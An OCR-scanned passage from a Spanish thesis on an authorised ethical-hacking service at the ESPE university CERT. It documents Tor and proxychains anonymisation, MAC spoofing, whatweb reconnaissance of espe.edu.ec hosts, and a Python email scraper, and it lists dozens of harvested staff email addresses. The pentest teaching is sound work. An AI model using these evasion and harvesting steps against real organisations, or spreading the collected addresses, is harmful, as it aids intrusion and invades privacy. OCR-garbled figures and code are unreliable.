Warning: Permanently added '10.9.9.242' (ED25519) to the list of known hosts.
espe—-cert@l0.9.9.242's password:
Activate the web console with: systemctl enable —--now cockpit.socket

Last login: Wed Feb 1 17:39:04 2023
[espe-cert@espe—-cert—serverl ~]$ nessus status

Verificamos que la herramienta Nessus se encuentre activa con el siguiente
comando:

/sbin/service nessusd status
Figura 23

El servicio de la aplicaciobn Nessus se encuentra activo.

[espe-cert@espe-cert-serverl ~]$ /sbin/service nessusd status
Redirecting to /bin/systemctl status nessusd.service
nessusd.service - The Nessus Vulnerability Scanner
Loaded: loaded (/usr/lib/systemd/system/nessusd.service; enabled; vendor preset: disabled)
Active: since Wed 2023-02-01 17:17:37 -05; 1 weeks 1 days ago
Main PID: 1436 (nessus—service)
Tasks: 15 (limit: 75024)
Memory: 686.7M
CGroup: /system.slice/nessusd.service
1436 /opt/nessus/sbin/nessus-service —q
1450 nessusd -q

feb 01 17:17:37 espe-cert-serverl systemd[1]: Started The Nessus Vulnerability Scanner.
feb 01 17:22:U7 espe-cert-serverl nessus-service[1450]: Cached © plugin libs in llmsec

Finalmente, ahora que verificamos que la herramienta Nessus esta activa, podemos
acceder a esta a través de un navegador web, apuntando a la direccion:
https://10.9.9.242:8834/#/scans

Figura 24

Interfaz de acceso a la herramienta Nessus a través de un navegador web
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Capitulo IV
Fase 2 Operacién y Mejora
Operacion
Procedimiento para la operacidn del servicio

Mapa del proceso general

En la Figura 25, se presenta una vision general de la estructura de la organizacion,
permitiendo ver los diferentes procedimientos y procesos, asi como cOmo estos estan
relacionados entre si.

Figura 25

Mapa de procesos ESPE-CERT (incluyendo hacking ético)

Procesos Gobernantes
Gobierno l Diecaié
i Estrategica
Administracién y * Planificacién Planficacidn Epcevny Eiabomnicn ). Evaluacién y
& o 3 controf de actualizacion de =
gestion Estratégica Operativa s - desempeno

Procesos generadores de valor !
Gestiénde Andissde [ Monitoreoy

2 e
5 2
< s
- @
13 m
= w
- o
= m
% o
53

® m
z 3

Procesos de apovo ‘

Nota: El gréfico fue extraido de Desarrollo del manual de procesos operativos para el CERT
académico de la ESPE utilizando estandares internacionales (p. 95), por Pacha Maycol &
Ruiz Juan, repositorio institucional de la ESPE (Pacha & Ruiz, 2022), pero fue modificado

debido a la implementacion del servicio de hacking ético en el trabajo presente.
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Proceso de Hacking ético

Los procesos en el procedimiento de hacking ético deben definir el cémo probar la
seguridad de un sistema o red con el fin de identificar y corregir posibles vulnerabilidades
antes de que un atacante malintencionado pueda explotarlas.

Realizdndose con autorizacién previa del propietario del sistema o red y se rige por
un conjunto de normas éticas y legales que garantizan la proteccion de la privacidad y los
datos de los usuarios.

Objetivo:

Mejorar la seguridad de los sistemas, proteger la informacién confidencial de la
organizacion contra posibles ataques reales y proporcionar recomendaciones detalladas

sobre como mejorar la seguridad de los sistemas para prevenir futuros ataques.

Alcance:

El proceso consiste en el establecimiento del anonimato, recopilacion de
informacion, escaneo, explotacion y de ser posible el establecimiento de acceso para la
evaluacion de la seguridad de los sistemas y aplicaciones de la empresa, identificando las
posibles vulnerabilidades y debilidades en su seguridad y proporcionando soluciones para

corregirlas y fortalecer su seguridad.

Responsables:
o Analista ESPE-CERT

e Operadores ESPE-CERT

Base Legal:

El estandar ISO/IEC 27035 provee un marco para la gestion de la seguridad de la
informacion en el contexto de un incidente o una brecha de seguridad. Esta norma incluye
directrices para la respuesta a incidentes de seguridad de la informacion, incluyendo la
planificacion, deteccién, analisis, contencién, erradicacion y recuperacion. Esta norma es

una guia para organizaciones y empresas que buscan implementar una gestion adecuada



106

de la seguridad de la informacion y puede ser una base para el desarrollo de politicas y
procesos de hacking ético.

Es importante destacar que el hacking ético es un area regulada y controlada, y
cualquier actividad relacionada con el mismo debe estar de acuerdo con las leyes y
regulaciones locales e internacionales.

Politicas:

e ESPE-CERT acordara funciones y responsabilidades a los empleados
encargados de realizar el proceso de hacking ético dentro de la entidad.

e Es obligacion de los operadores:

o Desarrollar el servicio de hacking ético con un orden de ejecucién adecuado
para cumplir con los estandares de seguridad establecidos.

o Comunicar los procedimientos, vulnerabilidades y recomendaciones
pertinentes a través de un reporte.

Definicion:

e Hacking: El hacking es un término que se refiere a la actividad de acceder a un
sistema o0 una red informética sin autorizacion.

e FEtico: Se refiere a cémo una persona o grupo de personas deben actuar o tomar
decisiones en situaciones gue tienen implicaciones morales, éticas o legales.
Desarrollo:

e Establecimiento de anonimato: Esta fase refiere a la practica de mantener la
identidad del investigador o auditor de seguridad oculta durante el desempefio de
sus tareas. Esto es necesario para asegurar que los resultados de la investigacion
sean imparciales y objetivos, y para proteger al investigador de posibles represalias
por parte de la organizacion objeto de la investigacion. Sin embargo, el anonimato
también requiere ser cuidadosamente balanceado con la transparencia y la
responsabilidad, ya que puede socavar la confianza y la credibilidad en los

resultados de la investigacion.
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e Recopilaciéon de informacion: Esta fase consiste en recopilar informacion sobre los
objetivos y sistemas que se van a evaluar, incluyendo informacion sobre la topologia
de red, los sistemas operativos y las aplicaciones.

e Escaneo: En esta fase, se realiza un escaneo de puertos y servicios para identificar
las vulnerabilidades potenciales.

e Explotacién: En esta fase, se explora cualquier vulnerabilidad identificada para
determinar el impacto y la gravedad de esta.

e Establecimiento y mantenimiento de acceso: El establecimiento y mantenimiento
de acceso refiere al proceso de obtener acceso a un sistema, dispositivo o red con
autorizacion y de manera controlada, con el fin de realizar pruebas de seguridad y
evaluar su vulnerabilidad a posibles ataques.

e Evaluacion del servicio: En esta fase, se evalla el nivel de seguridad de los
servicios y sistemas evaluados, y se proporciona un informe detallado que incluya
recomendaciones para fortalecer la seguridad de los sistemas.

Indicadores de desempefio:

1. Tiempo de ejecucién: La duracion del proceso, desde el inicio hasta el fin, es un
indicador importante para medir la eficiencia y efectividad del servicio.

2. Tasa de éxito: La cantidad de vulnerabilidades identificadas y explotadas
exitosamente en relacion con el nimero total de objetivos.

3. Reporte y documentacion: La calidad y detalle de la documentacién y reporte
generado después del proceso de hacking ético.

Diagrama de flujo:
Figura 26

Proceso de hacking ético
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Responsables

Tiempo Cliente Operador

Mesa de

Servicios

: Establecimiento de
20 min Anonimato

1dia

1 dia

1dia Explotacion
Se logro

1 hora establecer

acceso con la
explotacion?

Evaluacion del
servicio

Operacién del servicio (hacking ético)
Bitacora

En la Tabla 16, se puede visualizar un listado de acciones de hacking ético mas
relevantes, en donde se considero6 el establecimiento de anonimato, recopilacién de

informacion, escaneo, explotacion de vulnerabilidades y evaluacion del servicio.



Tabla 16

Bitacora de accién
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# Tipo deregistro  Descripcion

Fecha de registro

1 Hacking ético

2 Hacking ético

3 Hacking ético

4 Hacking ético

5 Hacking ético

Establecimiento de anonimato

Recopilacion de informacién

Escaneo

Explotacién de vulnerabilidades

Evaluacion del servicio

30-01-2023

30-01-2023

31-01-2023

01-02-2023

07-02-2023

Establecimiento del anonimato

Para iniciar con el proceso de pentesting o pruebas de penetracion es importante

establecer anonimato al equipo con el que se va a trabajar por ello se debera hacer la

instalacion de Tor como se muestra en la Figura 27 que sera la herramienta de ayuda para

gue los datos de entrada y salida que se generen durante nuestra conexion se repartan en

varios servidores a nivel mundial, dificultando nuestra localizaciéon a nivel de IP.

Figura 27

Verificamos que el estado de la herramienta Tor

Feb 10 16
zma 5.
Feb

org/

Feb

Feb 18 16
Feb 10 16:
Feb 10
Feb 10 16

tor —f <torrc> [args]

running on Linux with Libevent 2.1.12-stable, OpenSSL 3.8.7, Zlib 1.2.13
be

GLlal C.
Tor can't help you if you use it wrong! Learn how to be safe at https://support.torproject.

already in use. Is Tor already running?
o bind one of the listener ports.

6.142 [err] Reading config fail ee warnings above

Roger Dingledine
Roger Dingledine, Nick Mathewson
The Tor Project, Inc.

See man page for options, or https://www.torproject.org/ for documentation.

Se debera trabajar con dynamic_chain por lo que se debera cambiar eso de forma

manual en nuestro /etc/proxychains4.conf (Figura 28), asi como trabajar con socks4 y

socks5 en nuestra ProxyList (Figura 29).
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Figura 28

Modificacion del archivo /etc/proxychains4.conf (dynamic_chain)

Jetc/proxychains4.conf

GNU nano 7.2

dynamic_chain

162 lineas leidas

Figura 29

Modificacién del archivo /etc/proxychains4.conf (socks4, socksb)

GNU nano 7.2 /etc/proxychains&.conf

[ProxyList]

050

socks4 127.0.0.1 9
socks5 127.0.0.1 9050

Una vez instalado Tor y configurado el archivo proxychains4 para que maneje IPs de
forma dindmica utilizando socks4 y socks5 es necesario aplicar un cambio de MAC para
evitar deteccién por esa via.

Figura 30

Datos de red y MAC locales
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docker®: flags=4099<UP,BROADCAST ,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 fe80::42:e0ff:fe5a:6460 prefixlen 64 scopeid 0x20<link>
ether 02:42:e0:5a:64:60 txqueuelen 0@ (Ethernet)
RX packets 18684751 bytes 1754390064 (1.6 GiB)
RX errors © dropped @ overruns @ frame 0
TX packets 12845783 bytes 4222465704 (3.9 GiB)

TX errors @ dropped © overruns @ carrier @ collisions @

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.9.9.243 netmask 255.255.255.0 broadcast 10.9.9.255
inet6 fe80::8383:f5:a5e6:83eb prefixlen 64 scopeid 0x20<link>
ether 08:60:6e:7a:a6:48 txqueuelen 1000 (Ethernet)
RX packets 121693815 bytes 32751989579 (30.5 GiB)
RX errors @ dropped 6454 overruns @ frame ©
TX packets 30755704 bytes 5460492459 (5.0 GiB)
TX errors @ dropped © overruns @ carrier @ collisions @

Se puede observar en la Figura 30 en la informacion de ethO se encuentra una MAC
en especifico, y es la que se debera cambiar efectuando un ‘macchanger’ a dicha interfaz
(Figura 31).

Figura 31

Cambio de MAC usando macchanger

etho
Current MAC: 08:60:6e:7a:a6:48 (ASUSTek COMPUTER INC.)
Permanent MAC: 08:60:6e:7a:a6:48 (ASUSTek COMPUTER INC.)
New MAC: 3e:d3:56:ca:94:5¢ (unknown)

Ahora, se puede observar en la Figura 32 en la informacion de eth0 se encuentra
una MAC en diferente a la anterior.
Figura 32

Demostracién de cambio de MAC

~

docker®: flags=4099<UP,BROADCAST ,MULTICAST> mtu 1500
inet 172.17.9.1 netmask 255.255.0.0 broadcast 172.17.255.255
inet6 feB0::42:e0ff:fe5a:6460 prefixlen 64 scopeid 0x20<link>
ether 02:42:e0:53:64:60 txqueuelen @ (Ethernet)
RX packets 18684751 bytes 1754390064 (1.6 GiB)
RX errors © dropped @ overruns @ frame 0
TX packets 12845783 bytes 4222465704 (3.9 GiB)
TX errors @ dropped © overruns @ carrier @ collisions @

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.9.9.243 netmask 255.255.255.0 broadcast 10.9.9.255
inet6 feB80::8383:f5:a5e6:83eb prefixlen 64 scopeid 9x20<link>
ether 3e:d3:56:ca:94:5e txqueuelen 1000 (Ethernet)

RX packets 121694569 bytes 32752245518 (30.5 GiB)

RX errors © dropped 6454 overruns @ frame 0

TX packets 30756468 bytes 5461101753 (5.0 GiB)

TX errors @ dropped @ overruns @ carrier 0 collisions @
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Una vez instalado Tor y cambiada la MAC del equipo sera necesario inicializar el
servicio Tor (Figura 33) y comprobar su estado activo (Figura 34) para evitar algun tipo de
fallos posteriores.

Figura 33

Inicializacion de servicio Tor

( )
[:_ sudo service tor starﬂD

Figura 34

Estatus activo de servicio Tor

[ tor status
e tor.service - Anonymizing overlay network for TCP (multi-instance-master)
Loaded: loaded (/lib/systemd/system/tor.service; disabled; preset: disableﬂ
Active: active (exited) since Mon 2023-01-30 13:54:34 -05; 1min 37s ago
Process: 1219111 ExecStart=/bin/true (code=zexited, status=0/SUCCESS)
Main PID: 1219111 (code=exited, status=0/SUCCESS)
CPU: 1ms

ene 30 13:54:34 KALIESPECERT systemd[1]: Starting Anonymizing overlay network
ene 30 13:54:34 KALIESPECERT systemd[1]: Finished Anonymizing overlay network f

lines 1-9/9 (END)J

Recopilacidon de informacion

Ahora, utilizando la herramienta de extraccion de IP publicas del servicio Tor (Figura
35) se puede extraer las de los dominios de espe.edu.ec y trabajar de mejor manera con las
herramientas de reconocimiento y recopilacion de informacion.
Figura 35

Extraccion de IP publicas de dominios de espe.edu.ec
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miespe.espe.edu.ec

192.188.58.47

~

srvcas.espe.edu.ec
192.188.58.47

bannapitest.espe.edu.ec
192.188.58.66

evirtual2.espe.edu.ec
192.188.58.165

Herramienta Whois

Inicialmente se empled la herramienta Whois que es de las menos potentes que
ofrece KaliLinux, el resultado fue el esperado y es que no se recabo ningun tipo de
informacién de ninguno de los dominios espe.edu.ec (Figura 36).

Figura 36

Uso de la herramienta whois

~/Escritorio/pruebasIntrusion
15 srvcas.espe.edu.ec
Se ha agotado el tiempo de espera.

~/Escritorio/pruebasIntrusion
s bannapitest.espe.edu.ec
Se ha agotado el tiempo de espera.

~/Escritorio/pruebasIntrusion
evirtual2.espe.edu.ec
Se ha agotado el tiempo de espera.

Herramienta Whatweb

Se empled la herramienta Whatweb que tiene un nivel de agresion mucho mayor al
de Whois, por ello se obtuvo informacion util con la que se pueda trabajar en la fase de
intrusion.

Se comenz6 con el dominio srvcas.espe.edu.ec o miespe.espe.edu.ec ya que ambas
poseen la misma IP publica, los datos obtenidos en la descripcion se encuentran en la

Figura 37.
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Figura 37

Uso de la herramienta whatweb en srvcas.espe.edu.ec

~/Escritorio/pruebasIntrusion
srvcas.espe.edu.ec 3
Whatweb report for
Status : 302 Found
Title <None
1P : 10.1.1.126
Country

Summary @ Cookies[JSESSIONID], HTTPServer ], Httponlyld
SESSIONID], Java, Redirectiocation[https://srvcas.espe.edu.ec/carbon], Unce
mmonBeaders|x-content-type-options], X-XSS-Protection[1; modesblock]

Detected Plugins:

[ Cookies )
Display the names of cookies in the NTTP headers. The
values are not returned to save on space.

string

[ WTTPServer )
HTTP server header st €. This plugin also attempts to
identify the operating system from the server header.

String g (from server string)
[
[ Mttpoaly ]
If the HttpOnly flag is included in the HTTP set-cookie
se header and the browser supports it then the cookie
accessed through client side script - More Info:
wikipedia.org/wiki/HTTP_cookie

Se continu6 con el dominio de evirtual2.espe.edu.ec, los datos obtenidos en la
descripcion se encuentran en la Figura 38.
Figura 38
Uso de la herramienta whatweb en evirtual2.espe.edu.ec

)-[~/Escritorio/pruebasIntrusion]
) evirtual2.espe.edu.ec k]

01 Moved Permanently
<None>
: 10.1.0.47

Summary : RedirectLocation[https://evirtual2.espe.edu.ec/]

Detected Plugins:

[ RedirectLocation ]
HTTP Server string location. used with http-status 301 and
302

string z (from location)

HTTP Headers:
HTTP/1.1 301 Moved Permanently
Content-length: @
Location: https://evirtual2.espe.edu.ec/
Connection: close

Por ultimo, se examiné el dominio de bannapitest.espe.edu.ec, cuya informacion
revel6 que la version de Apache Server no se encontraba actualizada lo que podria facilitar
la intrusién con el aprovechamiento de vulnerabilidades, los datos obtenidos en la

descripcion se encuentran en la Figura 39.



Figura 39

Uso de la herramienta whatweb en bannapitest.espe.edu.ec

~/Escritorio/prucbasintrusion
bannapitest.espe,.edu.ec 3
t for
1 Moved Permanently

¢ 10.1.1.3

2.4.41], WTTPServer
pcation[https://bannapitest.espe.edu.ec/]

Detected Plugins:
[ Apache )
The Apache NTTP Server Project is an effort to develop and
maintain an open-source MTTP server for modern operating
g UNIX and Windows NT. The goal of this
rovide a secure, efficient and extensible
server that provides HTTP services in sync with the currest
HTTP stamdards.

Version : 2.4.41 (from MTTP Server Meader)
Googl
://httpd.apache.org/

HTTP server header s . This plugin also attespts to
identify the operating system from the server header.

os
String 2 (from server string)

[ Redirectlocation )
HTTP Server string location. used with http-status 301 and
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], RedirectlL

Recopilacion de correos electronicos con herramienta Hunter.io

Se empleb esta herramienta para extraer correos electrénicos vinculados al dominio

srvcas.espe.edu.ec pero no fue posible extraer informacién (Figura 40).

Figura 40

Uso de la herramienta Hunter.io en srvcas.espe.edu.ec (sin resultado)

Domain Search @

‘ 'ﬂh srvcas.espe.edu.ec srvcas.espe.edu.ec noresults  x

= Filters ~ Q

No results found

We couldn't find any email addresses for

domain name.

See results for espe.edu.ec

srvcas.espe.edu.ec but we did identify a related



De igual manera, se empled esta herramienta para extraer correos electronicos
vinculados al dominio bannapitest.espe.edu.ec pero tampoco fue posible extraer
informacion (Figura 41).

Figura 41

Uso de la herramienta Hunter.io en bannapitest.espe.edu.ec (sin resultado)
Domain Search @

ﬁ’ bannapitest.espe.edu.ec bannapitest.espe.edu.ec noresults  x = Filters ~ Q

No results found

We couldn't find any email addresses for
bannapitest.espe.edu.ec but we did identify a related
domain name

See results for espe.edu.ec
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Finalmente, se empled esta herramienta para extraer correos electrénicos vinculados

al dominio evirtual2.espe.edu.ec de igual manera, no fue posible extraer informacion
(Figura 42).
Figura 42

Uso de la herramienta Hunter.io en evirtual2.espe.edu.ec (sin resultado)

Domain Search @

‘ 'ﬁb evirtual2.espe.edu.ec evirtual2.espe.edu.ec noresults  x = Filters ~ Q

No results found

We couldn't find any email oddresses for
evirtual2.espe.edu.ec but we did identify a related
domain name

See results for espe.edu.ec

Sin embargo, al emplear la herramienta para analizar correos electronicos a partir de

la raiz de la direccion (espe.edu.ec) se pueden extraer correos y nombres de usuarios

(Figura 43).
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Figura 43

Uso de la herramienta Hunter.io en el dominio espe.edu.ec

Domain Search @

‘Fb espe.edu.ec espe.edu.ec 743results X — Filters ~ Q

743 results for your search s Export @ Find by name -~

ejreal@espe.edu.ec
Save as lead 1source v

@ 99%

comunicacion@espe.edu.ec Communication
Saveaslead 20+ sources v
® 98% Verify email

Recopilacion de correos electronicos con herramienta elaborada en Python

Se realiz6 de igual manera otra recopilacion de correos electrénicos, pero con un
script elaborado en Python para extraer la mayor cantidad de informacion util, sin embargo,
los resultados no fueron del todo satisfactorios.

Se adjunta el codigo fuente del script en la Figura 44.

Figura 44

Cadigo fuente del script de Python



Inicialmente se empled la herramienta con el dominio de miespe.espe.edu.ec
(Figura 45) del cual se extrajo informacion que fue coherente, sin embargo, no de gran

utilidad para nuestra finalidad, es importante destacar que cada oportunidad en la que se

BeautifulSoup
requests
requests.exceptions
urllib.p;

user_url = str{input(*[+] Enter Target URL To Scan: "))
urls = deque([user_url])

scraped_urls = set()

emails = set()
count = @

while len{urls):

scraped urls.add(url)

parts = urllib.parse.urlsplit{url)
base_url = "{@.scheme]} {@.netloc}" .format(parts)

path = url[:url.rfind{'/")+1] if /" in parts.path e
("[¥d] Processing %s'" ¥ (count, wrl})

response = requests.get(url)

ingSchema, requests.exceptions.ConnectionError):

new_emails = set(re.findall(r”[a-z@-9\.\-+_]+@[a-z8-9%.\-+_ ]+\.[a-z]+", response.t

emails.update(new_emails)

soup = BeautifulSoup(response.text, features="1xml"™)

for anchor in soup.find all("a

chor.attrs ] if "href" in anchor.attrs e
-startswith("/
base_url + link
ink.startswith('http'):
path + link
not 1link in wrls and not link in scraped_urls

urls.append(link)
oardInterrupt:
[-] Closing!")

ejecutaba el script los correos extraidos eran diferentes.

Figura 45

Ejecucion del script en miespe.espe.edu.ec
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~/Escritorio
email-scarper.py

Enter Target URL To Scan: https://miespe.espe.edu.ec

Processing https://miespe.espe.edu.ec

Processing https://miespe.espe.edu.ec#

Processing https://recover.espe.edu.ec

Processing https://youtu.be/Z9TA8hF3orc

Processing https://bannapitest.espe.edu.ec/Reportes/reportPublic.php?key=
espeCU
[6] Processing
[7] Proc i
?callbac

8a-4b2be856d02

a y
3Dportal_luminis¥%26isSaaSApp%3Dfalse%26a
Authentic LOCAL
Processing //miespe.espe.edu.ecffla
Processing https://miespe.espe.edu.ect#2a

[10] Processing s:/ s 3

[11] Processing https://youtu.be/310ovG3VVSdo

[12] Processing ://bannapitest.espe.edu.ec/Reportes/reportPublic.php?key
=espeMIDP

[13] Processing https://bannapitest.espe.edu.ec/Reportes/reportPublic.php?key
=espeMIFM

[14] Processing https://bannapitest.espe.edu.ec/Reportes/reportPublic.php?key
=espeMINRC

[15] Processing https://bannapitest.espe.edu.ec/Reportes/reportPublic.php?key
=espeBNRC

[16] Processing https://www.youtube.com/watch?v=86Ipc4X3_H4&feature=youtu.be

[17] Processing https://youtu.be/4_ZxzC6IM2A

Correos electrénicos extraidos:

grmoreno@espe.edu.ec
jcmoyano@espe.edu.ec
ebenavides@espe.edu.ec
jhfierro@espe.edu.ec
cwcasa@espe.edu.ec
wlponce@espe.edu.ec
ghmasabanda@espe.edu.ec
alquishpe3@espe.edu.ec
fmdelacadenal@espe.edu.ec
agenriquez@espe.edu.ec
adNunezl@espe.edu.ec
agharo@espe.edu.ec
gamontero@espe.edu.ec
rcpineda@espe.edu.ec
grsaavedra@espe.edu.ec
galbanl@espe.edu.ec
vrbautista@espe.edu.ec
marodriguezl@espe.edu.ec
artierra@espe.edu.ec
mxgutierrez@espe.edu.ec
rraguiar@espe.edu.ec
wasalazar@espe.edu.ec
cfnavarrete@espe.edu.ec
wsguarnizo@espe.edu.ec
maaldas@espe.edu.ec
ncuquillas@espe.edu.ec
laballesteros@espe.edu.e
santodomingo@espe.edu.ec
dyra_investigacion@espe.edu.ec
llgoyos@espe.edu.ec
pxpilatasig@espe.edu.ec
gnacato@espe.edu.ec


mailto:jcmoyano@espe.edu.ec
mailto:ebenavides@espe.edu.ec
mailto:jhfierro@espe.edu.ec
mailto:cwcasa@espe.edu.ec
mailto:wlponce@espe.edu.ec
mailto:ghmasabanda@espe.edu.ec
mailto:alquishpe3@espe.edu.ec
mailto:fmdelacadena1@espe.edu.ec
mailto:agenriquez@espe.edu.ec
mailto:adNunez1@espe.edu.ec
mailto:agharo@espe.edu.ec
mailto:gamontero@espe.edu.ec
mailto:rcpineda@espe.edu.ec
mailto:grsaavedra@espe.edu.ec
mailto:galban1@espe.edu.ec
mailto:vrbautista@espe.edu.ec
mailto:marodriguez1@espe.edu.ec
mailto:artierra@espe.edu.ec
mailto:mxgutierrez@espe.edu.ec
mailto:rraguiar@espe.edu.ec
mailto:wasalazar@espe.edu.ec
mailto:cfnavarrete@espe.edu.ec
mailto:wsguarnizo@espe.edu.ec
mailto:maaldas@espe.edu.ec
mailto:ncuquillas@espe.edu.ec
mailto:laballesteros@espe.edu.e
mailto:santodomingo@espe.edu.ec
mailto:dyra_investigacion@espe.edu.ec
mailto:llgoyos@espe.edu.ec
mailto:pxpilatasig@espe.edu.ec
mailto:gnacato@espe.edu.ec

spgalarza@espe.edu.ec
wmfuertes@espe.edu.ec
dfchiza@espe.edu.ec
japardo@espe.edu.ec
dgarcos@espe.edu.ec
letrujillo3@espe.edu.ec
ermafla@espe.edu.ec
fwsalazar@espe.edu.ec
mvponce@espe.edu.ec
eracurio@espe.edu.ec
vhabril@espe.edu.ec
gjpullas@espe.edu.ec
Ixquintanilla@espe.edu.ec
fwperez@espe.edu.ec
cechiriboga@espe.edu.ec
plmedina@espe.edu.ec
aacardenas@espe.edu.ec
bmcoyagol@espe.edu.ec
yysang@espe.edu.ec
ctapia3@espe.edu.ec
mmeythaler@espe.edu.ec
sxcabrera@espe.edu.ec
soporte_academico_ued@espe.edu.ec
vhandaluzl@espe.edu.ec
mcsegovia@espe.edu.ec
anbedon@espe.edu.ec
Ihcumbal@espe.edu.ec
mcsolis@espe.edu.ec
rmena@espe.edu.ec
hmrevelo@espe.edu.ec
jsvelezl@espe.edu.ec
cdaltamirano@espe.edu.ec
wmbatallas@espe.edu.ec
mjpatinio@espe.edu.ec
faalvear@espe.edu.e
nrmaza@espe.edu.ec
jiduchicela@espe.edu.ec
mportiz@espe.edu.ec
jfculgui@espe.edu.ec
wecastillol@espe.edu.ec
pfibanez@espe.edu.ec
mdmartinez@espe.edu.ec
jgbucheli@espe.edu.ec
epomboza@espe.edu.ec
mpdiaz@espe.edu.ec
jmendoza@espe.edu.ec
alrecalde@espe.edu.ec
garces@espe.edu.ec
asistencia.academica@espe.edu.ec
jacjeda@espe.edu.ec
mrvaca@espe.edu.ec
egalarza@espe.edu.ec
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mailto:yysang@espe.edu.ec
mailto:ctapia3@espe.edu.ec
mailto:mmeythaler@espe.edu.ec
mailto:sxcabrera@espe.edu.ec
mailto:soporte_academico_ued@espe.edu.ec
mailto:vhandaluz1@espe.edu.ec
mailto:mcsegovia@espe.edu.ec
mailto:anbedon@espe.edu.ec
mailto:lhcumbal@espe.edu.ec
mailto:mcsolis@espe.edu.ec
mailto:rmena@espe.edu.ec
mailto:hmrevelo@espe.edu.ec
mailto:jsvelez1@espe.edu.ec
mailto:cdaltamirano@espe.edu.ec
mailto:wmbatallas@espe.edu.ec
mailto:mjpatinio@espe.edu.ec
mailto:faalvear@espe.edu.e
mailto:nrmaza@espe.edu.ec
mailto:jiduchicela@espe.edu.ec
mailto:mportiz@espe.edu.ec
mailto:jfculqui@espe.edu.ec
mailto:wecastillo1@espe.edu.ec
mailto:pfibanez@espe.edu.ec
mailto:mdmartinez@espe.edu.ec
mailto:jgbucheli@espe.edu.ec
mailto:epomboza@espe.edu.ec
mailto:mpdiaz@espe.edu.ec
mailto:jmendoza@espe.edu.ec
mailto:alrecalde@espe.edu.ec
mailto:garces@espe.edu.ec
mailto:asistencia.academica@espe.edu.ec
mailto:jaojeda@espe.edu.ec
mailto:mrvaca@espe.edu.ec
mailto:egalarza@espe.edu.ec
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edvcarrera@espe.edu.ec
adnunezl@espe.edu.ec
smmadrid@espe.edu.ec
hfyepez@espe.edu.ec
comunicacion@espe.edu.ec
bhcortez@espe.edu.ec
wepozo@espe.edu.ec
dcgallardol@espe.edu.ec
l@espe.edu.ec
teacosta@espe.edu.ec
aarobayo@espe.edu.ec
gagomez@espe.edu.ec
ejpozo3@espe.edu.ec
wgerazo@espe.edu.ec
vdzambrano@espe.edu.ec
gpherrera@espe.edu.ec
mfjacome@espe.edu.ec
faalvarez@espe.edu.ec
ceproanio@espe.edu.ec
bhculqui@espe.edu.ec
ttoulkeridis@espe.edu.ec
ssmartin@espe.edu.ec
avguaman@espe.edu.ec
fmendezl@espe.edu.ec
rchautista@espe.edu.ec
erfonseca@espe.edu.ec
marketing-el@espe.edu.ec
d-granda@hotmail.com
uep.soporte.academico@espe.edu.ec
jamartinez@espe.edu.ec
eeharo@espe.edu.ec
lkponce@espe.edu.ec
nfchicaiza@espe.edu.ec
rrdelgadol@espe.edu.ec
sscalero@espe.edu.ec
janeiral@espe.edu.ec
jeverad@espe.edu.ec
msescobar@espe.edu.ec
arizquierdo@espe.edu
rnrodriguez@espe.edu.ec
ralara@espe.edu.ec
cetapia@espe.edu.ec
jmcarvajal@espe.edu.ec
cjguinga@espe.edu.ec
mmrosales@espe.edu.ec
emcampania@espe.edu.ec

Posteriormente se empleo la herramienta con el dominio de srvcas.espe.edu.ec
(Figura 46) del cual se extrajo informacion de acceso para nada coherente por lo que no se

le dio ningun tipo de consideracion.
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mailto:mfjacome@espe.edu.ec
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mailto:nfchicaiza@espe.edu.ec
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Figura 46
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Ejecucion del script en srvcas.espe.edu.ec

E dockalel@dockalel: ~/Escritorio

Archivo Acciones Editar Vista Ayuda

~/Escritorio
email-scarper.py

enta
[5]
[6]
[71
[e]
[9]

Enter Target URL To Scan: https://srvcas.espe.edu.ec/adminx
://srvcas.espe.edu.ec/admin*
://srvcas.espe.edu.ec/

Processing https
Processing https

Processing https:

Processing https
tion

Processing
Processing
Processing
Processing
Processing

/admin/index.jsp

//srvcas.espe.edu.ec/ .. /admin/login. jsp

://docs.wso2.com/display/IS570/WS02+Identity+Server+Docum

://srvcas.espe.edu.ec/ .. /product/about.html
srvcas.espe.edu.ec/./docs/userguide.html
stackoverflow.com/questions/tagged/wso2is/
/github.com/wso2/product-is/issues

wso2.org/mail

[1@] Processing //srvcas.espe. .ec/.

[11] Processing //srvcas.espe. .ec/.

[12] Processing espe. .ec/.

[13] Processing .espe. .ec/.

[14] Processing r .espe. .ec/.

[15] Processing ' .espe. .ec/.

html

[16] Processing https://is.docs.wso2.com/en/latest/

[17] Processing cs.wso2.com/display/IS570/#title-heading

[18] Processing .wso2.com/display/IS570/#breadcrumbs

[19] Processing .wso2.com/display/IS570/#header-menu-bar

[20] Processing .wso2.com/display/IS570/#navigation

[21] Processing .wso2.com/display/IS570/#quick-search-query
.wso2.com/display/IS570/
.com/resources/analyst-reports/kuppingercole-iden

/docs/signin_userguide.html
/admin/ .. /admin/index. jsp

/admin/ .. /admin/login. jsp
/admin/ .. /product/about.html
/admin/./docs/userguide.html
/admin/ .. /docs/signin_userguide.

.wso2.com/

.wso2.com/spacedirectory/view.action

.wso2.com/display/IS570/#
atlassian.com/confluence/docs-71/

Correos obtenidos:

Solutions_3 ADO_928x728@1-5x.png
2_Video_Thumbnail@2x.png
shavindri@wso2.com
nilmini@wso2.com
20Coach_360x265@2x.png
dinika@wso2.com
Community_760x235@2x.jpg
awscollective@amazon.com
Atlassian-icon-blue-onecolor@2x.png
gomathy@wso2.com
sherene@wso2.com
isuruj@wso2.com
harshat@wso2.com

hero_left_ 700x450px@2x.png
atlas-icon-blue-gradient@4x.png
advertising@stackoverflow.com
myemail@gmail.com
apple-touch-icon@2.png
nisrin@wso2.com
20footer_left_540x450@2x.png
20together@2x.png
20Playbook_360x265@2x.png
20right_540x450px@2x.png
architecture@wso2.org
dewni@wso2.com
Confluence@2x-icon-blue.png
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mailto:Atlassian-icon-blue-onecolor@2x.png
mailto:gomathy@wso2.com
mailto:sherene@wso2.com
mailto:isuruj@wso2.com
mailto:harshat@wso2.com
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mailto:atlas-icon-blue-gradient@4x.png
mailto:advertising@stackoverflow.com
mailto:myemail@gmail.com
mailto:apple-touch-icon@2.png
mailto:nisrin@wso2.com
mailto:20footer_left_540x450@2x.png
mailto:20together@2x.png
mailto:20Playbook_360x265@2x.png
mailto:20right_540x450px@2x.png
mailto:architecture@wso2.org
mailto:dewni@wso2.com
mailto:Confluence@2x-icon-blue.png
